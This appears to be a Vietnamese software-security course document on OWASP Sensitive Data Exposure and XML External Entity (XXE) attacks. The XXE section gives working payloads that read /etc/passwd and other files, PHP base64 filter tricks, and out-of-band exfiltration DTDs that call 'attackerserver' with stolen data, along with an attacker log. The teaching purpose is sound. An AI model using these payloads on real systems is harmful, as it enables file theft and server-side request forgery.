You are on page 1of 13

AN TOÀN PHẦN MỀM

1. Tìm hiểu về các dạng tấn công web (SQLi, XSS và Top 10 OWASP 20170)
2. Tìm hiểu các phương pháp các dạng tấn công Web
A3/ Tìm hiểu Sensitive Data Exposure ( Rò rỉ dữ liệu nhạy cảm)
1. Định nghĩa.
Nhiều ứng dụng web không có các cơ chế đủ mạnh để bảo vệ các dữ liệu nhạy
cảm, như thông tin thẻ tin dụng, số an sinh xã hội và thông tin xác thực người dùng. Nếu
các trang web không sử dụng SSL và không có bảo mật HTTPS trên các trang lưu trữ
thông tin, dữ liệu có thể có nguy cơ bị lộ. Kẻ tấn công có thể đánh cắp, hoặc chỉnh sửa
các thông tin nhạy cảm thể lạm dụng, hoặc trục lợi. Do vậy, cần có các cơ chế bổ sung để
bảo vệ các thông tin nhạy cảm, như mã hóa và hạn chế quyền truy nhập vào các files
chứa thông tin nhạy cảm (file lưu mật khẩu,…)
2. Các cách để tiếp cận với Sensitive Data Exposure
Bất cứ khi nào một tổ chức thiếu các phương pháp bảo mật, dữ liệu đều có nguy
cơ bị lộ. Để tăng cường các chiến lược giảm thiểu các cuộc tấn công ứng dụng tiềm ẩn,
trước tiên, các nhóm phát triển và bảo mật phải nắm chắc các cách mà dữ liệu dễ bị lộ,
bao gồm:
*) Data in Transit
Dữ liệu thường di chuyển, gửi các lệnh và yêu cầu qua mạng tới các máy chủ, ứng
dụng hoặc người dùng khác. Dữ liệu trong quá trình truyền rất dễ bị tấn công, đặc biệt là
khi di chuyển qua các kênh không được bảo vệ hoặc đến giao diện lập trình ứng dụng
(API) cho phép các ứng dụng giao tiếp với nhau. Một cuộc tấn công nhắm vào dữ liệu
đang chuyển tiếp là cuộc tấn công man-in-the-middle (MITM) , nó chặn lưu lượng truy
cập và giám sát thông tin liên lạc. Tội phạm mạng nằm giữa hai thực thể, có thể chặn tất
cả dữ liệu trong chuyển động, bao gồm cả thông tin đăng nhập. Một người khác lợi dụng
lỗ hổng trong các giao thức để tạo mã lớp cổng bảo mật (SSL). Mã SSL được sử dụng để
mã hóa dữ liệu, khiến việc giải mã thành văn bản thuần túy sẽ khó khăn hơn nếu bị
chặn. Một cuộc tấn công SSL có thể bắt chước tập lệnh bảo mật, đánh lừa người dùng
nhấp vào mã độc hại. Lỗ hổng trong các giao thức SSL có thể để lại chỗ cho các cuộc tấn
công chèn mã, chẳng hạn như tập lệnh trang web chéo (XSS) có thể chạy các yêu cầu
phía trình duyệt bị hỏng.
*) Data at Rest
Dữ liệu ở trạng thái nghỉ được lưu trữ trong một hệ thống, có thể là máy tính hoặc
mạng. Nó được cho là ít bị tổn thương hơn nếu không có các mối đe dọa từ các cuộc tấn
công đi qua, nhưng có giá trị hơn. Những kẻ tấn công sử dụng các vectơ khác nhau để lấy
dữ liệu được lưu trữ, thường sử dụng phần mềm độc hại như ngựa Trojan hoặc sâu máy
tính . Cả hai đều có quyền truy cập vào hệ thống chứa dữ liệu thông qua tải xuống trực
tiếp từ ổ USB độc hại hoặc bằng cách nhấp vào các liên kết độc hại được gửi qua email
hoặc tin nhắn tức thì. Nếu dữ liệu được lưu trữ trong một máy chủ, những kẻ tấn công có
thể lấy được thông tin được lưu trữ trong các tệp bên ngoài các khu vực truy cập được
xác thực thông thường. Điều này làm tăng xác suất của một cuộc tấn công truyền qua thư
mục hoặc đường dẫn, trong đó quyền truy cập được thực hiện vào các khu vực trái phép
trong một máy chủ có quyền truy cập bị hạn chế.
3. Các tấn công.
- SQL Injection Attacks:
Các cuộc tấn công SQL injection là cuộc tấn công ứng dụng thường xuyên
nhất. Các ứng dụng có lỗ hổng có thể khai thác đã trải qua 65% thời gian bị tấn công
SQL injection . Trong một cuộc tấn công SQL injection, các tác nhân xấu thao túng các
yêu cầu SQL thực thi các lệnh độc hại. Nếu các máy chủ không có hàng phòng thủ cứng
rắn chống lại việc xác định mã bị thao túng, bọn tội phạm mạng có thể thao túng thành
công các lệnh để lấy quyền truy cập vào dữ liệu nhạy cảm. Tùy thuộc vào độ mạnh của
lệnh hoặc yêu cầu được lập trình đưa vào mã độc, những kẻ tấn công có thể truy cập liên
tục vào các khu vực trái phép của ứng dụng, có thể đến và đi tùy ý.  
- Network Compromise :
Khi mạng bị xâm nhập, tất cả dữ liệu sẽ có nguy cơ bị lộ. Điều này đặc biệt đúng
nếu những kẻ tấn công giữ sự hiện diện liên tục nhưng im lặng, thường xảy ra trong các
cuộc tấn công như chiếm quyền điều khiển phiên . Thời gian người dùng đăng nhập được
gọi là một phiên, được gắn nhãn với một ID phiên duy nhất. Nếu những kẻ tấn công truy
cập ID này, chúng có thể truy cập các cookie lưu giữ hoạt động và thông tin đăng nhập
trên các trang web khác nhau. Với một lỗ hổng có thể khai thác, các tác nhân xấu có thể
khởi động các cuộc tấn công, để lại một vài dấu hiệu về sự xâm phạm (IOC) . Nếu không
bị phát hiện, bọn tội phạm mạng có dữ liệu theo ý của chúng, khiến người dùng có nguy
cơ bị lộ dữ liệu nhạy cảm hoặc bị đánh cắp danh tính.  
- Broken Access Control Attacks
Mạng và ứng dụng được lập trình với các giới hạn mà người dùng có thể và không
thể truy cập. Khi quyền truy cập này bị phá vỡ, người dùng nhận được xác thực đối với
các khu vực nằm ngoài các giới hạn này, một số khu vực chứa dữ liệu nhạy
cảm. Các cuộc tấn công kiểm soát truy cập bị hỏng là phổ biến, xếp thứ 3 trong Top
10 của OWASP . Điểm chung của chúng đến từ khả năng vượt qua các công cụ quét bảo
mật cũ, bao gồm cả kiểm tra bảo mật ứng dụng động (DAST) giúp hiểu sâu hơn về cách
dữ liệu hoạt động trong một ứng dụng. Âm tính giảkết quả do các công cụ DAST tạo ra
để lại một lỗ hổng chưa được vá, có thể dẫn đến một cuộc tấn công kiểm soát truy cập bị
hỏng thành công. Điều này khiến tính bảo mật của người dùng và máy chủ web có nguy
cơ bị lộ hoặc bị tiếp quản hoàn toàn.
- Ransomware Attacks:
Ransomware là một loại phần mềm độc hại mã hóa các tệp trên thiết bị bị
nhiễm. Việc tích hợp phần mềm độc hại này vào thiết bị thường được thực thi thông qua
tệp đính kèm hoặc liên kết mà người dùng cho là từ một nguồn đáng tin cậy. Sau khi
nhấp vào, ransomware được tải xuống và các tệp được giải mã thành mã không thể đọc
được mà những kẻ tấn công tận dụng để đòi tiền chuộc. Những kẻ tấn công nắm giữ chìa
khóa để giải mã thông tin, gửi email yêu cầu tiền hoặc thông tin để giải mã. Vì những kẻ
tấn công có chìa khóa để giải mã, chúng có quyền truy cập vào tất cả thông tin trong hệ
thống máy tính và có thể làm với nó tùy ý.
- Phishing Attacks (tấn công lừa đảo):
Phishing Attacks thường đánh lừa người dùng bằng cách khiến họ tin rằng họ
đang truy cập hoặc đăng nhập vào một trang web đáng tin cậy. Các mục tiêu thường được
liên hệ qua email hoặc tin nhắn văn bản bởi những kẻ tấn công giả danh các tổ chức hợp
pháp. Nếu các mục tiêu bị lừa nghĩ rằng cuộc tấn công là đại diện của nguồn đáng tin cậy,
họ có thể bị dụ cung cấp các chi tiết nhạy cảm mà những kẻ xấu có thể sử dụng để xâm
nhập vào tài khoản của họ, lấy cắp thông tin thẻ tín dụng của họ hoặc lấy số An sinh xã
hội.
- Insider Threat Attacks (Các mối đe dọa từ nội bộ):
Insider Threat Attacks là rủi ro mà tất cả các tổ chức phải đối mặt vì chúng
thường liên quan đến nhân viên hiện tại hoặc nhân viên cũ. Bất kỳ ai trong công ty có
quyền truy cập vào các chi tiết nhạy cảm đều có thể bắt đầu vi phạm dữ liệu, đột nhập và
đánh cắp thông tin trái phép. Việc lạm dụng quyền truy cập này thường không được chú
ý, vì các tổ chức tập trung vào các cuộc tấn công đến từ các nguồn bên ngoài và dành ít
thời gian để thực hiện các biện pháp phòng thủ đối với các cuộc tấn công nội gián.

    
A4/ Tìm hiểu XML External Entities (XXE)
1). Định nghĩa.
Tấn công thực thể bên ngoài XML là một kiểu tấn công chống lại một ứng dụng phân tích
cú pháp đầu vào XML. Cuộc tấn công này xảy ra khi đầu vào XML có chứa tham chiếu
đến một thực thể bên ngoài được xử lý bởi trình phân tích cú pháp XML được cấu
hình yếu . Cuộc tấn công này có thể dẫn đến việc tiết lộ dữ liệu bí mật, từ chối dịch vụ,
giả mạo yêu cầu phía máy chủ, quét cổng từ góc độ của máy nơi bộ phân tích cú pháp
được đặt và các tác động khác đến hệ thống.
Các tác động sau đây có thể được chứng minh trong thí nghiệm XXE được thiết lập và
một số ví dụ đã được cung cấp trong các example thư mục tương ứng của chúng .

1. Đọc tệp tùy ý


i. Lọc trước dữ liệu của mã nguồn / tệp cấu hình.
2. Yêu cầu phía máy chủ giả mạo
i. Tiếp xúc của các dịch vụ nội bộ.
ii. Liệt kê các dịch vụ nội bộ thông qua "Quét cổng".
iii. Đánh cắp thông tin đăng nhập đám mây thông qua các phiên bản Siêu dữ
liệu.
3. Từ chối dịch vụ

Các tác động có thể xảy ra khác (cụ thể về trình phân tích cú pháp)

1. Danh sách thư mục (chỉ áp dụng cho trình phân tích cú pháp Java SAX)
2. Thực thi mã từ xa (chỉ áp dụng cho PHP / mong đợi hoặc ASP)

2). Cơ bản về XML

Định nghĩa loại tài liệu (DTD)

DTD là gì?

DTD xác định các khối xây dựng hợp lệ của một tài liệu XML. Nó xác định cấu
trúc tài liệu với danh sách các phần tử và thuộc tính đã được xác thực
nguồn: https://en.wikipedia.org/wiki/Document_type_definition

Cú pháp

<!DOCTYPE rootnode [
<!ENTITY test "hello world">
<!ENTITY test2 "hello world2">
]>
Lưu ý: Nó phải được xác định trước khi bất kỳ nút tài liệu XML nào bắt đầu. Điều
này có nghĩa là khi khai thác XXE, chúng ta không thể đưa một DTD vào giữa phần thân
XML. Cú pháp cũng phân biệt chữ hoa chữ thường.

Cách sử dụng định nghĩa trên trong nội dung:

<sample> &test; &test2;</sample>

ENTITY

1. Thực thể nội bộ

Definition:

<!ENTITY entityname "Hello">


<!ENTITY entityname2 'World'>
Usage:
<sample>I would like to say &entityname; &entityname2;</sample>

Output:

<sample>I would like to say Hello World</sample>

2. Thực thể bên ngoài

Definition:

<!ENTITY includeme SYSTEM "include.xml">


<!ENTITY includeme2 SYSTEM "http://attackerserver/include.xml">

Usage:

<sample>
<head>Header</head>
<first>&includeme;</first>
<second>&includeme2;</second>
</sample>
include.xml:

<body>I am to be included.</body>

Output:

<sample>
<head>Header</head>
<first><body>I am to be included.</body></first>
<second><body>I am to be included.</body></second>
</sample>

3. Thực thể tham số

Thực thể cụ thể này là khó hiểu. Bạn có thể nghĩ về điều này như một thực thể
có giá trị xác định một định nghĩa khác.

i. Định nghĩa nội bộ

Definition:

<!ENTITY % param1 "<!ENTITY variable1 'hello world'>">

Usage:

Các thực thể tham số được sử dụng riêng trong các DTD. Chúng không thể
được sử dụng trực tiếp trong nội dung XML.

<!ENTITY % param1 "<!ENTITY variable 'hello world'>">


%param1;
<!ENTITY trigger1 "I would like to say &variable; again.">

Định nghĩa trên sẽ mở rộng thành sau trong thời gian chạy:

<!ENTITY % param1 "<!ENTITY variable 'hello world'>">


<!ENTITY variable 'hello world'>
<!ENTITY trigger1 "I would like to say &variable; again.">

2 cách sử dụng khác nhau trong tài liệu:

<sample>
<first>I would like to say &variable;</first>
<second>&trigger1;</second>
</sample>

Output:

<sample>
<first>I would like to say hello world</first>
<second>I would like to say hello world again.</second>
</sample>

ii. Định nghĩa bên ngoài

Được cho là một ứng dụng đã định cấu hình WAF để không cho
phép gửi "/ etc / passwd" đến máy chủ, kẻ tấn công có thể tránh sử dụng "/
etc / passwd" trong yêu cầu của mình bằng cách xác định các thực thể bên
ngoài XML được đưa vào trong thời gian chạy .

Tệp DTD bên ngoài:

<!ENTITY callme SYSTEM "/etc/passwd">

Definition:

<!ENTITY % param1 SYSTEM "http://attackerserver/evil.dtd">


%param1;

Định nghĩa trên sẽ lấy định nghĩa của "callme" từ máy chủ bên ngoài
trong thời gian chạy để được mở rộng ở dạng sau:

<!ENTITY % param1 SYSTEM "http://attackerserver/evil.dtd">


<!ENTITY callme SYSTEM "/etc/passwd">

Lời gọi dễ gây hại từ XML gốc:

<sample>&callme;</sample>

iii. Sự cố tập hợp con nội bộ

Giả sử một nhà phát triển muốn bao quanh một thực thể tham số như sau:

<!DOCTYPE document [
<!ENTITY % sample "hello world">
<!ENTITY wrapped "<body>%sample;</body>" >
]>
<document>&wrapped;</document>

Ở trên sẽ gặp lỗi "XMLSyntaxError: PERefferences bị cấm trong tập


hợp con nội bộ" .

Để sử dụng một thực thể tham số trong giá trị của một thực thể, một
thực thể bên ngoài phải được sử dụng.

external.dtd:

<!ENTITY wrapped "<body>%sample;</body>" >

document.xml:

<!DOCTYPE document [
<!ENTITY % sample "hello world">
<!ENTITY % dtd SYSTEM "external.dtd">
%dtd;
]>
<document>&wrapped;</document>

4. First match matters

Cho định nghĩa và nội dung sau:

<!DOCTYPE r [
<!ENTITY a "one" >
<!ENTITY a "two" >
<!ENTITY % param '<!ENTITY a "three">'>
%param;
]>
<Sample> &a; </Sample>

Output:

<Sample> one </Sample>


Khi một thực thể được xác định nhiều lần, trình phân tích cú pháp XML sẽ giả
định kết quả khớp đầu tiên và loại bỏ phần còn lại.

Hạn chế đối với quá trình lọc trước dữ liệu

XXE Tiết lộ nội dung tệp có một số hạn chế về loại tệp có thể được tiết lộ. Nếu
nội dung tệp chứa bất kỳ ký tự xấu bất hợp pháp nào, thì khả năng cao là không thể truy
xuất được nội dung . Trong những trường hợp như vậy, kẻ tấn công sẽ cần phải dựa vào
các kỹ thuật để mã hóa nội dung trước khi truy xuất. Các ký tự sau đây đã được thu thập
sau một số lần làm mờ.

Ký tự bất hợp pháp

00000000: 0102 0304 0506 0708 0b0c 0e0f 1011 1213 ................
00000010: 1415 1617 1819 1a1b 1c1d 1e1f 263c 8081 ............&<..
00000020: 8283 8485 8687 8889 8a8b 8c8d 8e8f 9091 ................
00000030: 9293 9495 9697 9899 9a9b 9c9d 9e9f a0a1 ................
00000040: a2a3 a4a5 a6a7 a8a9 aaab acad aeaf b0b1 ................
00000050: b2b3 b4b5 b6b7 b8b9 babb bcbd bebf c0c1 ................
00000060: c2c3 c4c5 c6c7 c8c9 cacb cccd cecf d0d1 ................
00000070: d2d3 d4d5 d6d7 d8d9 dadb dcdd dedf e0e1 ................
00000080: e2e3 e4e5 e6e7 e8e9 eaeb eced eeef f0f1 ................
00000090: f2f3 f4f5 f6f7 f8f9 fafb fcfd feff ..............
Trong trường hợp "<", điều này là do trình phân tích cú pháp quét để bắt đầu một
nút XML. Nếu nội dung không tạo thành một nút XML thích hợp, trình phân tích cú pháp
sẽ đưa ra các ngoại lệ như " lxml.etree._raiseParseError XMLSyntaxError: chunk không
được cân bằng tốt ". Một XML dạng tốt <test></test>sẽ không gặp lỗi như vậy.
Trong trường hợp "&", điều này là do trình phân tích cú pháp quét tên thực
thể. Nếu không có cú pháp thực thể thích hợp, trình phân tích cú pháp sẽ đưa ra các ngoại
lệ như " lxml.etree._raiseParseError XMLSyntaxError: xmlParseEntityRef: no
name ". Một cú pháp thực thể XML được định dạng tốt &gt; sẽ không gặp phải lỗi như
vậy.
Tất cả các ký tự an toàn

00000000: 090a 0d20 2122 2324 2527 2829 2a2b 2c2d ... !"#$%'()*+,-
00000010: 2e2f 3031 3233 3435 3637 3839 3a3b 3d3e ./0123456789:;=>
00000020: 3f40 4142 4344 4546 4748 494a 4b4c 4d4e ?@ABCDEFGHIJKLMN
00000030: 4f50 5152 5354 5556 5758 595a 5b5c 5d5e OPQRSTUVWXYZ[\]^
00000040: 5f60 6162 6364 6566 6768 696a 6b6c 6d6e _`abcdefghijklmn
00000050: 6f70 7172 7374 7576 7778 797a 7b7c 7d7e opqrstuvwxyz{|}~
00000060: 7f .
Được cho là có một tệp illegal.txtchứa một số ký tự bất hợp pháp:
You cannot read me with XXE & < TEST
Thực hiện tấn công sau để truy xuất trực tiếp tệp đó sẽ dẫn đến lỗi:

<!DOCTYPE root [
<!ENTITY filecontent SYSTEM "illegal.txt">
]>
<root> &filecontent; </root>
Vậy làm thế nào chúng ta có thể truy xuất các tệp có ký tự bất hợp pháp như "<"
và "&"?

Nhập CDATA

Dữ liệu ký tự (CDATA) có thể được sử dụng để bao quanh các ký tự bất hợp pháp
để ngăn trình phân tích cú pháp XML phân tích cú pháp chúng.

<![CDATA[ You cannot read me with XXE & < TEST ]]>
nếu nội dung tệp có thể được bao quanh bởi <![CDATA[ và ]]>, nội dung tệp có thể được
truy xuất.
Điều này đòi hỏi một trình bao bọc và kiến thức về Vấn đề Tập hợp Con Nội bộ sẽ
giúp chúng tôi giải cứu.

Chúng tôi có thể sử dụng tệp readillegal.dtd bên ngoài với trình bao bọc CDATA


được mã hóa html-entity:

<!ENTITY filecontent
"&#x3c;&#x21;&#x5b;&#x43;&#x44;&#x41;&#x54;&#x41;&#x5b; %content;
&#x5d;&#x5d;&#x3e;" >
Injected definition & body:
<!DOCTYPE root [
<!ENTITY % content SYSTEM "illegal.txt">
<!ENTITY % dtd SYSTEM "http://attackerserver/readillegal.dtd">
%dtd;
]>
<root> &filecontent; </root>
Output:

<root> You cannot read me with XXE &amp; &lt; TEST </root>
Chúng tôi có thể đọc thành công một tệp có các ký tự không hợp lệ. Bạn có thể thử
điều này với ứng dụng Python-flask-xxe. Ứng dụng này sẽ đưa ra thông báo lỗi cho bạn.

Tuy nhiên, nếu độ dài của tệp có các ký tự không hợp lệ quá lớn, trình phân tích cú
pháp XML sẽ cố gắng ném "XMLSyntaxError: Đã phát hiện ra một vòng lặp tham chiếu
thực thể" khi nó cố gắng ngăn chặn các cuộc tấn công hàng tỷ tiếng cười. Điều này có thể
được nhìn thấy khi cố gắng ăn cắp mã nguồn của app.py.
Danh sách thư mục

Trong một số trình phân tích cú pháp nhất định như trình phân tích cú pháp SAX
JAXB của Java, có thể thực hiện liệt kê thư mục. Điều này có thể được chứng minh thông
qua vùng chứa phòng thí nghiệm Java được cung cấp của chúng tôi.

<!DOCTYPE root [ <!ENTITY lastname SYSTEM "file:///" > ]><employee


id="1"><name>Amy &lastname;</name><salary>6000.0</salary></employee>
PHP Wrappers

Ngôn ngữ PHP cho phép ăn cắp nội dung tệp bất kể chúng có chứa các ký tự bất
hợp pháp hay không. Điều này là duy nhất cho riêng PHP.

PHP có một url giả "php: //" mà khi được gọi bởi các chương trình PHP, nó có thể
bị lạm dụng để thực hiện mã hóa base64 của một tài nguyên trước khi gửi đến luồng đầu
ra.

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE r [
<!ENTITY a SYSTEM "php://filter/convert.base64-
encode/resource=index.php">
]>

<name> &a; </name>


RCE thông qua mô-đun mong đợi PHP

Mô-đun bên ngoài "mong đợi" của PECL thường được sử dụng để tự động hóa các
ứng dụng tương tác. Một số trường hợp sử dụng ví dụ là để xử lý các ứng dụng tương tác
như ssh / ftp trên PHP. Điều này cho phép đưa lệnh qua url giả "mong đợi: //". Tuy nhiên,
mô-đun này không được cài đặt cùng với máy chủ PHP mặc định mà là một plugin bổ trợ
tùy chỉnh do các nhà phát triển thêm vào.
Bạn có thể thử với vùng chứa phòng thí nghiệm PHP nơi mô-đun 'mong đợi' đã
được cài đặt.

Lọc dữ liệu qua XXE ngoài băng tần (OOBXXE)

Các kỹ thuật đọc tệp trước đây phụ thuộc vào phản ứng tức thời. Loại XXE này
được gọi là XXE trong băng. Các phức tạp khác phát sinh khi máy chủ không phản ánh
nội dung trực tiếp trong phản hồi ngay lập tức. Loại kịch bản này yêu cầu kỹ thuật Out-
of-Band XXE, trong đó nội dung được gửi đến kẻ tấn công thông qua các kênh khác như
DNS / HTTP / FTP / v.v.

Đánh cắp tất cả các loại tệp

Với trình bao bọc PHP để mã hóa nội dung tệp sang base64, chúng tôi có thể lấy
cắp tất cả các loại tệp ngay cả khi nội dung không được phản ánh trong phản hồi ngay lập
tức. Cần phải sử dụng tệp DTD bên ngoài để ngăn chặn sự cố tập hợp con bên trong được
đề cập trước đó.

oob.dtd:

<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attackerserver/dtd.xml?%data;'>">


%eval;
Injected definition and body;
<!DOCTYPE r [
<!ENTITY % data SYSTEM "php://filter/convert.base64-
encode/resource=/etc/hostname">
<!ENTITY % oob SYSTEM "http://attackerserver/oob.dtd">
%oob;
]>
<root> &exfil; </root>
Nhật ký HTTP của kẻ tấn công:

172.21.0.4 - - [13/May/2020 00:00:50] "GET /oob.dtd HTTP/1.0" 200 -


172.21.0.4 - - [13/May/2020 00:00:50] code 404, message File not found
172.21.0.4 - - [13/May/2020 00:00:50] "GET /dtd.xml?NDFkZDJlOWZkYjA4Cg==
HTTP/1.0" 404 -
Nội dung /etc/hostnameđược lọc cũ trong trường hợp này là 41dd2e9fdb08.
Ký tự bất hợp pháp OOB
Bằng cách sử dụng các giao thức như HTTP, một lớp giao thức bổ sung có các ký
tự bất hợp pháp của riêng chúng. Ví dụ: HTTP dựa vào "\ r \ n" làm dấu phân tách để
phân biệt các tiêu đề HTTP.

Do đó, không thể lọc thành công nội dung tệp không được mã hóa với các ký tự
như dòng mới mà không có bất kỳ hình thức mã hóa nào để loại bỏ các ký tự như vậy. Do
đó, tác động của quá trình lọc xuất dữ liệu OOB đối với không phải PHP thường bị hạn
chế.

You might also like